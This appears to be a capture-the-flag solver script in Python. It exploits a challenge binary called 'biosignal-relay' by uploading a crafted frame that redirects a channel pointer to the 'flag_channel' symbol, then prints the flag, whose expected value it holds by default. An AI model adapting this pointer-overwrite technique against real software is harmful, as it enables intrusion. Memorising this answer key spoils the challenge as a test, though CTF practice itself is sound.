61 lines
2.4 KiB
Python
61 lines
2.4 KiB
Python
#!/usr/bin/env python3
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import argparse
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import os
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import socket
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import struct
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import subprocess
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import sys
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class Tube:
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def __init__(self, sock=None, proc=None):
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self.sock = sock
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self.proc = proc
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def recv(self, n=4096):
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if self.sock:
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return self.sock.recv(n)
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return os.read(self.proc.stdout.fileno(), n)
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def send(self, data):
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if self.sock:
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self.sock.sendall(data)
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else:
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os.write(self.proc.stdin.fileno(), data)
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def sendline(self, data):
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self.send(data + b"\n")
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def recvuntil(self, marker):
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out = b""
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while marker not in out:
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chunk = self.recv(1)
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if not chunk:
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raise EOFError(out)
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out += chunk
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return out
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def symbol_value(binary, name):
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out = subprocess.check_output(["readelf", "-sW", binary], text=True)
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for line in out.splitlines():
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fields = line.split()
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if len(fields) >= 8 and fields[-1] == name:
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return int(fields[1], 16)
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raise RuntimeError(f"symbol not found: {name}")
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def connect(args):
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if args.local:
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env = os.environ.copy()
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env["CTF_FLAG"] = args.flag
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proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env)
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return Tube(proc=proc)
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return Tube(sock=socket.create_connection((args.host, args.port), timeout=5))
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def choose(io, value):
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io.recvuntil(b">")
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io.sendline(str(value).encode())
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def main():
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p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31348); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/biosignal-relay"); p.add_argument("--flag",default="caplag{clp_header_extension_rewired_the_channel}"); args=p.parse_args()
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target=symbol_value(args.binary,"flag_channel")
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ch=struct.pack("<IIQ",0x43484e31,0x42494f21,target)+b"motor-cortex\x00".ljust(32,b"\x00")
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frame=b"ICLP"+bytes([0x43,0x4c])+struct.pack("<H",64)+b"\x00"*8+ch
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io=connect(args); choose(io,1); io.recvuntil(b"file bytes:"); io.sendline(str(len(frame)).encode()); io.recvuntil(b"payload:"); io.send(frame)
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choose(io,2); io.recvuntil(b"channel:"); io.sendline(b"0"); data=io.recvuntil(b"}"); print(data[data.rfind(b"caplag{"):].decode())
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if __name__=="__main__": sys.exit(main())
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